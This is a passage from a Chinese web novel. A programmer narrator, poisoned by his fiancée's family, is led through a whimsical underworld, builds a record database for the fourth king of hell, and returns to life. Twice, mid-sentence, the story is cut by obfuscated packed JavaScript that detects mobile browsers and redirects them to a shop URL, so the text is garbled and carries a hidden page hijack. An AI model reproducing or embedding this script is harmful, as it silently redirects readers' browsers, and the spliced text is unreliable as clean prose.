“那我可就揭晓秘密了。你原本那个玻璃杯中的,只是普通的红茶。秘密在卓雯佳手中的那个玻璃杯,上面的半杯没有毒,下面的半杯却下了毒,中间用一片薄如蝉翼的冰隔离开来,她喝的是上面半杯的红茶,等中间的冰片化了,就借机与你交换玻璃杯,所以,你喝的半杯,是有毒的半杯。” 我心寒如堕冰窟。为害我性命,你竟如此处心积虑,费尽心机。 我追问:“那您二位看到往玻璃杯中投毒的人了吗?不会是卓雯佳吧?” “不是。” “是谁?是边永沙吗?他有作案动机,却没有作案机会啊。” “错,是卓曼罗。” 我愈加心灰意冷如堕地狱。我本以为卓曼罗暗恋于我,是唯一暗中助我的人,不料她竟然就是下手投毒之人! 人性何以阴暗至此! 幸亏死了,一了百了,否则,即便活着,却活在一堆谎言和欺骗之中,又有什么意思。 转眼来到忘川河边。彻骨寒冷,不是心理感受,是真的气温极低。我这才看清楚,整条大河,看似波浪翻滚,实则每一个波浪都是绝对静止的。由此可以推测,忘川河是在刹那须臾之间万里冰封。 我这才看清楚了忘川河对面的花,那种花我在卓家的花园见过,我随口问道:“河对岸火红一片的是彼岸花吧?” 大白耐心解答:“那是曼珠沙华,地狱的接引之花,见到曼珠沙华,就说明我们离地狱已经不远了。” “曼珠沙华,地狱为什么这么多曼珠沙华,而且只此一种花?” “因为曼珠沙华的球根,是熬制孟婆汤的主要原料,你自己算算每天死多少人,需要多少孟婆汤。” 呃,全球每天死亡2.1万至2.4万人,确实需要不少孟婆汤和曼珠沙华。 两个无常架着我,沿着极寒的忘川河,继续往更高更亮的方向前行。 我好奇地问道:“前面远方,漫山遍野开满的,白色的花,好像还泛着晶莹的光泽,那又是什么花?” “那是曼陀罗华,样貌酷似曼珠沙华,唯有颜色不同,曼陀罗华是白色的。去往天堂的路上,路边都是白色的曼陀罗华。” 嗯?两位无常这是良心发现,可怜我的遭遇,要带我去天堂了? 大白大约注意到了我憧憬的表情,及时给我泼了一盆冷水:“你不会想多了吧?我们这是去奈何桥,碰巧暂时同一个方向而已。” 忽见前方不远处河边矗立一块巨石,一人多高,通体白色。 9. 第四杀再再续 大白为我导游:“这便是忘川河此岸最有名的网红打卡景点——三生石。”见我兴趣颇浓,便接续讲解,“传说曼珠沙华和曼陀罗华乃是佛陀身边的两个仙子,因禁忌之恋被罚轮回转世为无情草木,投胎之前,她们在三生石刻下双方姓名,约定来世劫难过后,再来世仍做恋人。于是世上长情之人纷纷效仿,三生石上已经刻满人名。” 我立刻发现其中漏洞,质疑道:“转世投胎根本就不路过三生石,就算刻字也看不见吧?而且,投胎前一碗孟婆汤,即便刻字也记忆全失吧?徒劳无用。” 大白意味深长地说道:“一听就知年轻人不懂爱情。无用才是真浪漫,浪漫才是真爱情。” 原来所谓浪漫就是做没用的事,我闻言哑然,恍惚开悟。 只是这黄泉路上的开悟,未免太晚太迟了。 我挣脱黑白无常,走近三生石,上下摩挲。果然,巨石之上,密密麻麻,两字三字四字,俱是人名。背面高处略空,我欲在右上角刻下你的名字,却见“卓雯佳”三字赫然已在石上,而且上下已经重复了三遍,歪歪扭扭的鸡爪字,正是我的独门不传书法。 我伸出食指,又一遍用力刻下了你的名字。 那一刹那,我被自己感动了,原来我也是一个浪漫之人。 此情此景之下,我突然忆起死前未完成的,你给我出的池中七步成诗题,我竟然诗兴勃发,分分钟就构思出了一首情诗。 黄泉路上这一首情诗,虽然只是寥寥几行白话,但毕竟是我生平第一首诗。 得意之余,我又在心中不断默诵,生怕一个走神又得而复失。 我忽然又想到,黄泉路上写情诗,这本身不就是一种浪漫吗? 继续向前,很快便到了一座石拱桥,桥头有碑,碑上有字:奈何桥。 走了这么远,终于看到人影了,哦,不对,是鬼影。 一个个形单影只的鬼影,在奈何桥上来来往往,都是行尸走肉,垂头丧气。 两个无常一步不停,架着我上桥。 我又发现了问题:“两位大佬,怎么只有我有人接引,其他人都是独行?” 老默哼了一声:“说明你才是真正的大佬,真正的贵宾,真正的VIP,我们不但是破例接你,而且还是加班破例接你,连阎王都要加班破例亲自审你。” 我何德何能?我的内心是不信的。 大白补充解释道:“今天是中元节,地狱公共假期,整个地狱不论是工作人员,还是服刑罪犯,统统放假一天。很多不死心的新鬼,今天都会回家看看,所以奈何桥上来往的人特别多。回家探亲的人,都是熟门熟路的,也不需要我们接送。” “整个地狱今天都放假?那奈何桥上也未见交通堵塞嘛。” “哦,往那边还有奈何二桥、三桥,现在已经一共有一百多座奈何桥了。” 两无常转眼架着我上了桥顶,我又发现了新问题。 “孟婆在哪儿呢?也放假啦?进地狱不是要喝孟婆汤的吗?” 老默不屑:“不知道都是些什么愚人以讹传讹,你不动动脑子,如果现在喝完了孟婆汤,阎王还怎么审你?”竟然很有道理。 大白又补充:“轮回转世前,最后才喝孟婆汤,里里外外清理得干干净净的,才好投胎往生。” 前面摇摇晃晃彳亍的身影,一个个都佝偻着腰,慢慢腾腾,无精打采。突然,一个身影从对面桥下向桥上埋着头飞奔而来,差点与我迎面相撞,我不经意间瞥见那匆匆而过的侧脸,异常熟悉,异常亲切,那不是——我自己吗? 我失声喊出:“谢天迪!” 那身影回头,果然是我——的脸,虽然憔悴苍白,但确实是我的脸。 那张我的脸却只是冲我咧嘴傻笑了一下,便转正回去,继续独自飞奔下桥,往人间方向。 我再要招呼,大白却一把将我的嘴捂住,慌忙低声解释道:“你们两人千万不可有任何交往,否则不但你们两人自己灰飞烟灭,万劫不复,我们两个无常,也要跟着丢掉饭碗。” “为什么?” “天机不可泄露。” 也不知是不是我多心,我觉得大白似乎刻意将脸转向我,避免被那谢天笛看清。 老默两个鼻孔哼出冷雾,甚是不屑。 下了奈何桥,黑雾笼罩,不论远近,什么也看不见,眼前没有任何建筑物,却唯有一部孤零零的电梯。 电梯门自动打开,我们走进电梯间,楼层按钮一共有十八个,皆是负数,从负一、负二,一直到负十八。 老默从怀中掏出一张黑卡,刷了一下,一个楼层按钮绿光亮起,是负四。 走出电梯间,眼前是一座大殿。我蓦然发觉,这大殿与我第一次见的你家大堂酷似,尤其正中央那座倒挂小山一般的豪华水晶吊灯,晃晃悠悠,仿佛随时要砸下来取人性命。殿堂对面,正中是一把巨大的红木椅子,高高端坐着一个慈祥的长者,着古装官袍,左手把玩佛珠,右手紧握笏板。整个大殿,唯此一人一椅,此外空无一人。 老默按着我跪下,自己和大白也跟着跪下,口中唱喏:“参见仵官王,黑白无常墨罕德、白无贞复命,新鬼谢添弟解到。” 阎王一开口便是厉声呵斥:“你们黑白无常代表地狱威仪,为何将自己弄成了一副慈眉善目的模样?如此新鬼怎肯怕你服你?” 墨罕德再拜:“回禀仵官王,这谢添弟是个一心只读理工专业书的书呆子,想象力极其匮乏,每天除了卓家那几张脸,几乎从不见外人,不知何故竟将我等黑白无常幻化成这般模样,实则是卓家保镖和保姆的相貌。” 仵官王忍俊不禁:“这年轻人倒也有趣。如此说来,只怕我堂堂地府四殿阎王,也要被他幻化成慈祥老头模样了。” 黑白无常相视一笑,不敢多言。 仵官王收敛笑容:“谈正事吧。” 啪的一声,厚厚一大本线装书摔在了我面前,我偷偷瞥了一眼封面:四狱生死簿。 这与我何干?我一头雾水。 仵官王提出了一句话需求:“录入系统。” 我随便翻开几页查看,看得我头皮发麻。满篇满页,每行都是人名、父母、籍贯和生死日期时辰,俱是用蝇头小楷抄录,一笔一画横平竖直,工工整整。 我抗议道:“您的意思,是要我将这些姓名和信息都录入计算机系统吗?可是这么大一本,至少需要几个月时间。” 仵官王不以为然:“你只有一天时间,而且,这一本只是范例,这样的大本,我们四狱一共有一千三百一十四本,足足堆满三间档案室。” 我磕头如捣蒜:“仵官王饶命,这我一辈子也录不完啊——莫非,这就是我在地狱要受的刑罚?” 再抬起头来时,我惊惧地发现,仵官王已经换了一副面貌,高鼻深目,络腮胡子,庄重威严。咦,似曾相似啊,对了,这不是你家穹顶壁画中上帝的形象吗? 庄重威严的祂一拍惊堂木,发起官威来:“哼,想得倒美,我四狱又名剥戮血池地狱,岂能如此儿戏。我且问你,你在一狱二狱三狱都做得到,怎生到了我四狱,就犯起难来了?莫不是欺我吕贷面慈心软?!哼,我没空与你讨价还价,一日之内,完得成,送你回去找你的小情人,完不成,哼,让你见识我四狱的手段。” 说完,远远丢给我一台笔记本电脑,仵官王便拂袖而去。 我差点忘了,今天是中元节,地狱一年唯一一次的公休假期,难怪仵官王身边连个仆从都没有。 笔记本电脑啪的一声重重落地。我慌忙拾起,打开电脑,没摔坏,亮了。这地狱里生产的电脑,质量还真就是闻所未闻地杠杠硬。 电脑屏幕上,黑色背景,绿色前景,几个隶书大字触目惊心:“第四地狱欢迎您”。 墨罕德率先站起身来:“起来吧,跟我们去员工办公室。” 一个偌大的开放型办公室,整整齐齐摆满桌椅。我简单目测了一下行列数目,做了个乘法心算,少说也有小两百个工位。 不过,肯定因为今天是假期的缘故,整个大办公室空空荡荡,只有我们三个人——两个无常和一个新鬼。 我颓然在一个临时工位坐下,愁眉苦脸。 白无贞调转我桌前的木椅,面对着我坐下:“给你讲个故事吧。” 我还有心情听故事? 我这才第一次有机会看清白无贞的正脸,还是觉得她圆润的面庞有八分与卓曼罗相仿,只是肤色极白,准确来说,已超越了白色的极限,近乎透明。远远看着时,只知是白皙,怼近了看,则是冰雪似的透明。 “我要讲的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030619|194538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 故事是我们地狱人人皆知、交口称赞的传奇,人间却无人知晓。你听是不听?”白无贞却不等我答复,径自继续,“三年前的事了,有个多情人因爱冤死。” 嗯?影射我吧。 “当值判官初审他那天,找他姓名,却连翻了几本生死簿也没有寻到,急得满头大汗,好不狼狈。那多情人跪了半天,见状突发奇想,提议能否帮忙将生死簿录入计算机系统,以后查询人名就是唾手可得的事情。那判官听着有理,却不敢妄断,乃禀报当殿阎王。阎王喜出望外,当场同意。那多情人却提了个条件,录完系统,要回人间与爱人重聚。阎王感念他专情,满口应允。岂料他一日之内便做完了工作。最后,阎王虽意外,却也履行了诺言,特批他一次无须功德积分的穿越机会。” 我苦思冥想这厮是如何做到的,刚想到一点思路,转眼又被自己否定了。 “那个多情人就是你,谢添弟。你不但帮一狱录完了生死簿,后来还如法炮制,帮二狱、三狱都录完了生死簿。所以,相信你自己,你在我们四狱,也一样可以做得到。” 我难以自信:“提问,如果那人是我,为何我完全没有前三次来地狱的记忆呢?” “这正是地狱与人间的不同,人间的记忆很难磨灭,要凭借孟婆汤的药力才能除尽,地狱中的记忆则恰恰相反,默认是无法保存的。” 且不管我是不是那个传奇的谢添弟,只凭白无常专门苦口婆心给我讲了一个如此励志的故事,我也不可能无动于衷。我重新振作起来,决意全力一试。 值得一赌,成功见女神,失败下地狱。 “无常姐,你能帮我吗?” “当然可以,别客气,叫我大白好了,我在地狱也就是个基层公务员,只不过不像他们都很闷,我比较另类,喜欢跟各狱同事交往,是个E人无常。” “大白,能否给我看看一狱二狱三狱的生死簿系统?” 白无贞欣然点头道:“嗯,也只有我才能做得到。” 白无贞在我的笔记本电脑上熟练操作,先是打开浏览器,网址收藏夹里选择“一狱生死簿”,就显示一个用户登录页面,输入用户密码,就显示了一个类似互联网搜索的页面,输入人名,就显示了全超能宇宙所有同名人的详细信息。 白无贞又依次演示了二狱和三狱的生死簿系统。 我不解:“这三个明明就是一模一样的系统,何必重复建设,为什么不能合并统一开发一个完善的系统,大家一起使用呢?” “所谓十八层地狱,不存在高低之分,而是各层权责分立,互不管辖,互不干扰,各司其职,唯此可以确保,审判绝对公正,绝无特权贪腐。” “那我怎么都是听人说,十八层地狱,一层比一层罪更大,刑罚更重?” “谣言,他下过地狱吗?没下过地狱,何能妄言地狱?” 我不再多言,抱头苦苦思考,片刻后,似乎有了些思路。我接过电脑,打开命令行界面,ping一狱的网址,通了,再te一狱的网址,也通了,我ssl一狱的网址,用户直接输入root,密码我输入Kiss20070827,奇迹发生了,密码校验成功。 看来那传奇人物还真的就是我。 接下来是一马平川,我不知道三年前的自己是如何做到的,但是他确实做到了。 他真的在地狱局域网上,搞了个生死簿信息管理系统,还支持OCR文字识别录入。 我只花了一刻钟的时间,将一狱的系统包括源码和库,整个复制到了四狱的服务器上,将源码中所有的“一”全局替换为“四”,就算完成了全部源码的修改。 然后,编译,部署,执行,一气呵成。 我将笔记本电脑推给白无贞:“测试一下吧,符合不符合你们的需求。” 白无贞抱起那本仵官王丢给我的生死簿,在笔记本电脑前晃了一下,对她来说,奇迹发生了,生死簿打开这一页的内容,原原本本,如照魔镜一般,复刻在了电脑的屏幕上,而且字迹更加工整。 白无贞惊喜地点了点头。 我却还高兴不起来:“但工作量还是太大了,您们两位能否帮帮我,一起扫描录入,有没有可能再搞两台笔记本电脑?只是单凭我们三个人,累死累活也不知道要干到猴年马月。” 10. 第四杀再再再续 白无贞却说:“这些就不用你操心了,单调重复的操作,是我们地狱公务员的专长,我们两个负责扫描录入,你只管在一旁看着就好了。” 实际上,只有白无贞一人在负责录入,墨罕德则负责从档案室来回搬运原始记录。 我这辈子第一次深刻体验到了什么叫眼花缭乱,黑白无常的动作,快到我眼前只剩模糊一片光影,快到反而像什么也没有发生。我只能看清楚,屏幕页面右上角,有个生死簿总人数计数器,前面五位,在不断增加,而后面五位,则糊成一条灰杠。 我被两个无常晃得头晕,迷糊,犯困,最后竟真的睡着了。 惊醒过来时,是墨罕德狠狠踢了我一脚:“你过分了吧?来地狱休假的吗?” 仵官王听了墨罕德的报告,对我的工作非常满意,立马开单:“你们两个无常今天就辛苦到底,还是你们两人负责,将事主带去穿越。这里有一份三狱转发给我的注意事项,我再给你们念一遍。事主没有足够的功德积分,只能用命令行页面操作,键入的行命令注意必须是REBOOT-F,注意后面一定要输入-F,表示强制重启,不保存来地狱的这段记忆。这张便签纸你们拿去算了,千万别搞错了。” 我却弱弱提了一个新的要求:“启禀仵官王,能否允许我保留贵狱此行的记忆?” 仵官王一听,气得吹胡子瞪眼,一拍惊堂木,大喝:“大胆!你为何在一狱二狱三狱都没有此等非分要求?为什么偏偏找本王的麻烦?又是欺负本王面善吗?” 我忙解释:“小民岂敢。我是在忘川河边新吟了一首诗,想要带回去献给心爱之人。” 仵官王气到冒烟:“荒唐,岂能为了区区一首诗,坏我地狱的规矩,你回到人间后重新写一首有何不同?” 我尴尬地回禀道:“实不相瞒,这是我平生第一次写诗,灵感迸发,实属侥幸,只怕回去就写不出来了。” “自说自话,你写不出来与我何干?再敢废话,就不要回去了,零点一到,就送你下狱池受刑。” 这时,白无贞上来打圆场了:“仵官王,我有个提议,不知当讲不当讲。” “别废话,快说,今年中元节就还只剩三个时辰,本王也是人,也需要回家休假。” 白无贞继续道:“此番改革之前,功德积分几乎唯一的用途,就是轮回转世时用来兑换升入天堂的门票,但是千百年来,能攒够天堂门票所需功德积分者寥寥可数,功德积分成为兑小奖不划算、兑大奖不够用的鸡肋,间接导致世风日下。幸逢地狱改革,十亿功德积分兑换一次穿越机会的活动顺利开展,出现了大家踊跃积攒功德积分的可喜局面。然而,这又引发了新问题,我们的工作人员,对这项新活动普遍业务不熟,经常有意无意发生穿越前漏扣功德积分的责任事故,人间也因此出现了乱穿快穿的现象。因此,在下有个不成熟的建议,能否让事主再做一个功德积分管理系统,以此确保每次穿越足额扣减功德积分。” 听了半天,我心想,这是什么馊主意,我如果真的忙活半天做出这个系统,结果必然是挨骂啊,因为断了人家玩快穿的门路啊。 但是,我为了把这一辈子唯一的一首诗带回去,也顾不上挨骂了。 仵官王有点心动,却又犹豫不决:“似有几分道理,但如此一来,我们地狱的秘密,不就被这情种带到人间了吗?其它各狱阎王少不了要寻本王晦气。” 白无贞走上前去,对着仵官王耳朵低语,自以为保密,其实我听得真真切切:“这谢添弟既是个情种,命中注定难逃情劫,不出一日,必然又来地狱报到,彼时我们将他两趟地狱之行的记忆,一并消除便是。” 仵官王终于首肯,补充叮嘱黑白无常:“等新系统搞完了,你们两人验收即可,验收成功了,你们就直接帮他穿越回家,不要再来麻烦本王了。” 还好刚才睡了几个时辰,我现在前所未有地元气满满。 仵官王退堂之时,我还跪在地上呢,就已经开始敲上代码了。 是墨罕德和白无贞,将我一左一右从腋下架住,抬回了员工办公室的临时工位上。 我全神贯注,气运丹田,十个手指在键盘上灵动如飞,哒哒哒哒如万马奔腾,一行行代码在屏幕上无中生有,恣意蔓延,一个个系统页面,如被咒语召唤的精灵,应声而出,扑面而来。 白无贞在一旁望着我,情不自禁已面露崇拜之色。 墨罕德不耐烦地厉声喝道:“你要我说几遍?还不进去?” 我望着眼前的穿越机,面露难色,这分明就是一台老旧的滚筒式洗衣机嘛,只是上面摆了台操作终端:“两位大佬,这是多少升的?我个子不小,肯定装不下啊。” 墨罕德待要发作,白无贞拦住他,和颜悦色劝我:“你不试一下怎么知道呢?” 我无奈,只得躬身钻入这台滚筒式的穿越机,奇了,里面竟然意外地宽敞。 门被从外面砰的一声关上。 可是我在穿越机里紧张地等了很久,滚筒内已经氧气殆尽,也毫无动静,我呼吸困难,忍无可忍,只得哐哐砸门。 门重新打开。我迫不及待钻将出来。 两个无常正对着操作终端叽叽咕咕,手足无措。 我挤过去查看,原来两人在看联机帮助文档,因为文档的专业性太强,这两人也不知是什么学历,反正是看不懂。 白无贞向我抱歉地解释:“穿越目标参数都设置成功了,但是我们在启动命令行界面,输入REBOOT,系统却提示无此命令。” 我略略扫了几眼,便明白了端倪,原来这条REBOOT命令,本是一条普通的系统重启命令,但是在穿越服务器上,却可以通过重启docker中的鬼魂,实现穿越,但是前提是,必须先为鬼魂,在穿越服务器上做一个docker。 我也懒得跟两个无常解释,只不耐烦地将他们挤到一旁,开始噼噼啪啪在操作终端上敲打键盘。 我先一眼就看明白了穿越服务器的内网地址,接着ssl穿越服务器,在穿越服务器上给自己建了一个docker,配置好虚拟网卡和内网地址,然后ssl上去自己docker的内网地址,键入了命令,只差最后一步回车执行。 我直觉哪里不对劲,重新检查了一遍自己的操作,不由惊出一身冷汗,差点忘了做保存记忆操作了,那我忙了半天岂不是白忙,相当于给那仵官王免费打工了。 但是我人不在穿越机中,无法执行保存记忆操作,我只能编辑了一个脚本文件,只有两行命令:SAVEMEMORY,和REBOOT。 我键入完脚本文件名称,一抬头,正撞见白无贞愈加仰慕的眼神,我便嘱托她:“我都搞好了,等我回到穿越机里,你只要敲个回车键就OK了。” 生死离别在即,白无贞竟有些依依不舍:“等等,你有没有想过,即使穿越回去,你还是难逃被卓雯佳冤杀的宿命?之前我们四狱来过一个武植,也是个情种,耗尽百世十亿功德积分,穿越回被娇妻毒死之前,却连一句话都没说上,就被娇妻再次棉被闷头,不到一分钟功夫,便又重回地狱报到,只白白多遭了一趟罪。”白无贞拐弯抹角半天,才鼓起勇气说出真实想法,“你,你要不要留在四狱,我试着帮你,申请个公务员的空缺?” 墨罕德用见了鬼一般的眼神,怪异地望向白无贞,一个突感陌生的失魂落魄般的白无常。 墨罕德阴阳怪气地说道:“白无贞,我看你这是要旧病复发啦。四年前,仵官王打得你半死,却又怜惜你,用一瓶忘情水治好了你的相思病,可你将这挨打的前因后果也一并忘了个精光,这打不也就白挨了嘛。” 白无贞冲他翻白眼:“我就有病怎么了?你有药吗?没有就少管闲事!” 我却终究未领白无贞的情,只感激地一笑:“谢谢,这一次回去,我带着一首情诗,还知晓了谋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030620|194538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杀我的手段,相信自己有机会战胜宿命。大白,你是个好人,百年后再见!” 瑞不忒。 瞬息万里,我的灵魂,准确穿进了我的躯体之中。急不可耐,只待你一口仙气。 如兰芬芳仙气注入我的口中,我急忙睁眼,看向泳池边的液晶挂钟,意外尽在意料之中,2011年8月14日,这是一年后的中元节。 我的人生正以800倍速快进,所以我没有时间抱怨人生不公,我要积极改变人生。 这一次穿越,不同以往,我是有备而来,一定要翻身逆袭! 我主动向跪骑在我身上的你招供,郑重其事:“亲爱的,我失忆了。” 你脸上的欣喜顿时冻住,盯着我,眼神如同见了鬼一般,一时说不出话来:“天迪,你,你,你撞见鬼了吗?” 我却不慌不忙:“亲爱的,别急,我们先回室内,你听完我的解释就会明白了。” 你狐疑地站起身来。 我一个鲤鱼打挺,失败了,尴尬,又一个鲤鱼打挺,又失败了,羞愧,我不信邪,第三个鲤鱼打挺,终于成功地挺直了身体。 今天天气特别热,几片浮云完全无法遮挡仲夏艳阳的热力。花园里,小径旁,绣球花正姹紫嫣红,百合花正芬芳四溢。我自信满满,一手拥着女神,一手随意高高抬起,摘下一朵橘红的凌霄花。我迈着六亲不认的矫健步伐,怀着前所未有的自信,重生归来。 站在别墅门口的边叔刚张开嘴想唠叨两句,我直接截胡了他的话:“大叔,不用您操心,我活得肯定比您长。” 一起淋浴期间,你便急着问我怎么回事,我却胸有成竹:“白娘子,先陪小青洗完这个鸳鸯浴再说。”我上下打量你,不觉口水跟着洗澡水一起往下流,“娘子,一日不见如隔三秋,你的身材越来越好了啊,而且全身上下一点儿瑕疵都没有,没有痣,没有疤,连一根毛都看不到,简直就是个刚刚打开包装的硅胶娃娃啊。” “你这是在讽刺我胖了吧?” “明明是夸你白璧无瑕零缺陷嘛。” “你当我小孩啊,不知道硅胶娃娃什么体型嘛,你就是讽刺我,你嫌弃我。” 这么来回斗了几遍嘴后,我只好用行动来证明一个本来毫无疑义的事实:我不仅不嫌弃你,还对你迷恋入髓。 曼姨今天准备的小食也颇有趣致,是削过皮的冬枣,但是皮又未削尽,残留的枣皮,正是一张张的脸,各具不同表情,惟妙惟肖。 你见我把你晾在一边,饶有兴致地玩味手中的冬枣,似乎真的生气了:“天迪,你到底卖什么关子啊,你不愿意说我还不稀罕听呢。” 我将一个小人得志表情的青枣举到你眼前,得意洋洋地说道:“雯佳,我为你写了一首情诗,这可是我的处女作,要不要我念给你听?” 不料你一巴掌将我手中的青枣扇落,嗔道:“不要,你一大清早地发什么神经?” 还好我反应神速,另一只手将被你打落的青枣接住。 我满腔热情,却被你当头一瓢冷水泼将过来,倍感委屈:“雯佳,这可是我在黄泉路上忘川河边,看到彼岸花海才有灵感作出来的诗,你确定不想听?” “你编这种鬼话谁会信啊,别耍我了好不啦。你赶紧说说你说你失忆了怎么回事吧。肯定又是骗我。我先考考你,你的生日是哪一天?” “1989年8月16日,属蛇。” “我的生日呢?” “同一天啊,我们是白娘子和小青。” “我们是哪一年认识的?” “上小学那年,1995年?” “不对欸。” “哦,那按照规律,应该是1997年,上小学三年级那年。” “什么叫按照规律啊。”这时,正好一只玳瑁猫悄悄溜进来,无视我,蹒跚着踱到你脚边卧下,你便借猫出题,“那你再说,MOUSE是公的还是母的?” 11. 第五杀 “按理应该是母猫吧。”不知怎么的,我的记忆体系中并没有这玳瑁猫的性别,我的知识体系中却有。 “什么叫按理啊。你这不好好的嘛,干嘛学人家小说里面的人玩失忆啊。”完了,我如实答题,你却反而认定我在戏弄你了。 “这个失忆的症状还挺难解释,这么说吧,我最近这一年的事情都不记得,还得劳烦娘子相告。” “你还要耍我,这一年你整天宣称忙忙忙,我还在问你到底在搞什么鬼呢,你倒敢反过来问我?” “我这一年按理说应该是在忙着做子虚文学网的事情,忙着开发系统吧?” “我爸倒是也这么说的,你三天两头跑我家,汇报进度,要投资,可反正我在地球对面,谁知道你说的是真是假呢。” “我们今年按理说都该大学毕业了吧?我们接下来的去向都定了吗?” “咦,你没完了?还要继续扮失忆吗?” “你相信我啊,我真的失忆了。这样吧,我先不麻烦你,我先回去看看我的电脑,应该能找到我这一年的大概生活轨迹,然后有不明白的我再问你,这样总可以吧?” “我跟着你,倒要看看你葫芦里卖的什么药。” 我已经走到车库门口了,才发现身边没人。我忙转过头一看,你正在十米开外幽怨地望着我,伫立不动。 我忙不迭跑回你身边:“娘子怎么了?怕法海埋伏吗?” 你不言语,只是嘟着小嘴,跺了跺脚。 我这才看清楚,你的一只脚鞋带散开了。 我忙蹲下,只一抽一拉,转眼间便利落地系好了一个蝴蝶结,顺便将另一只鞋子的鞋带也打散重新系好,不超过三秒,我已经重新站起身来。 你疑惑地盯着我:“你记不记得两年前,就是在这个位置,你也给我系过鞋带?” 我当然记得,于我而言,不过是两天前的事情。 “你当时如果系鞋带也像今天这么快,就不会差点被边叔撞死了。” 我以为你是在夸我,没想到你接下来的话却是:“你这两年没少给别的女生系鞋带吧?” 我连忙解释:“我今天这种鞋带的系法叫做伊恩结,是世界上最快的鞋带系法。” “我就不明白了,你不是说自己失忆了吗?你这伊恩结在哪里学的?怎么就没忘呢?” 我被问得愣住了,不单是伊恩结,编程也是,我会编程,而且连下地狱都没忘怎么编程,却又不记得自己是如何学会编程的,也不记得自己编过哪些程序。 我挠挠头:“好像,我的症状比较特别,知识和技能的记忆都还在,经历和过程却全部都失忆了。” “好有想象力的设定欸,你是在编你的新小说吧。” 确实很难让你相信,我明明记得两年前的今天发生的事情,却记不得这一年内发生的所有事情。 宝马SUV总共五分钟车程,被你骂足三百秒,因为我一点儿也不记得回家的路线了。 实际情况却是,回家路线确实变了,因为我家地址变了。我家还在同一个小区,但是户型变成了双拼别墅了,比你家的别墅正好小了一半。 我一路陪笑,故作幽默:“你看我们两人像不像没头脑和不高兴啊?” 你根本不接招:“跟我有什么关系,没头脑和不高兴都是你。” 一回到我自己的卧室,我们便又暂时忘记了所有的烦恼,投入到忘我的欢情。 不过,我毕竟不是小孩子了,还是知道自己有正经事情要做的。一个疗程完成,我便急忙扑到桌前,打开电脑查看。 子虚文学网已经在公网上发布了,作者却还是只有我们四个人,读者倒是有了二三十个人,想来大概都是我们四个作者的亲朋好友。 网站已有了几百个阅读点击数量,点击最多的居然是边永沙的小说《边城狼女》。 这本《边城狼女》,之前我只看过简介,说是一个这一代破解上一代恩怨的故事,拼了命要报仇的人实际上纯属误会,真正该报仇的人却选择了原谅,放下屠刀,立地成佛。 最恶俗所以最受欢迎?我好奇地第一次点击进去。 我草草翻看了几章,还是get不到读者的看点,这都写的什么垃圾啊,不单是书名高仿古龙的一部七十年代的新武侠小说,情节也根本就是那本小说的三倍速快进。 倒是曼姨的小说新发了一章,还有点意思。 就是这意思又有点未免太大了。 曼姨写的居然是,抖S将喝过的半杯冰红茶给抖M喝,抖S安然无恙,抖M却中毒身亡。 你伸过手来,点击下一章,系统却报错:404,您的页面被外星人劫持了。 你咦了一声:“没了?你知道怎么回事吗?” “系统软件出错了吧。” “我没问软件。同一杯冰红茶,怎么可能一个人喝了没事,另外一个人喝了就会中毒呢?” 我见你一脸无辜的神情,便试探着问道:“我猜,有没有这种可能,杯子中间有一个冰薄片,将冰红茶分割成有毒和无毒的两个部分了呢?” “没看出,你还是个犯罪天才啊。” “不是我自己想出来的。” “是曼姨私下透露给你的?” 没想到绕了半天,又绕到我跟曼姨的嫌疑这里了。我求生欲爆发,口不择言慌忙解释:“怎么会呢,是黑白无常告诉我的。” “你这鬼话编得太离谱了吧?不用这么把我当小孩子糊弄吧?” 说真话你不信,编假话我又不会,我不知该如何脱困,情急之下,无言以对,只双手胡乱比划,将桌面上摆放的一个水晶相框打翻在地。 我慌忙捡起来一看,没碎,乍一看,是一张新白娘子传奇1992版叶童和赵雅芝扮演的许仙和白娘子的剧照,仔细一瞧,却是一对年轻男女模仿的,扮相惟妙惟肖,俊美不遑多让。 我惊讶:“好像你啊,这是你妈妈吗?” “这是你妈妈。有点常识好吧,这是你家,你的房间。” “不是,我问这个人,女扮男装扮成许仙的这个人。” “这是你爸爸!你真是离谱他妈给离谱开门——离谱到家了!” 说曹操曹操到,电话铃响,正是我爸谢长卿打来的:“天迪啊,你好好准备一下,我约了你卓叔叔,今天签投资合同。你千万别惹雯佳生气啊,她脾气不好,你就让着她点,小不忍则乱大谋。” 前面几句还算是一个父亲该说的正常的话,可这最后一句又是几个意思? 午餐仍是中西合璧,匆匆而就。有记忆以来,这已是我与你相处的第五天,我也已然大致摸透了你的生活规律。 果然,午餐后,你的优国上床时间又到了,我陪你过去睡觉。对两个血气方刚的年轻人而言,上床的意义当然不仅是上床,睡觉的意义也当然不仅是睡觉。 不过,缠绵了片刻后,你真的困了,真的很快进入了梦乡。 我悄悄下床,穿好衣服,摸出你的卧室。 正好撞见,厨房里,卓曼罗穿着那件玫瑰紫的吊带,正在缓缓向一个玻璃杯中摆放一片圆形的薄冰。杯中大概是红茶的液体刚过腰线,她试图将比指甲还薄的冰平放在液体表面,操作难度不小。她专心致志,心无旁骛,直到我已经走到她的身边,她也全然没有察觉我的到来。 我在她耳边轻轻询问:“下毒呢?这么认真。” 叮当一声,薄冰碰了一下杯口,瞬间四分五裂,堕入杯中暗红的液体中。 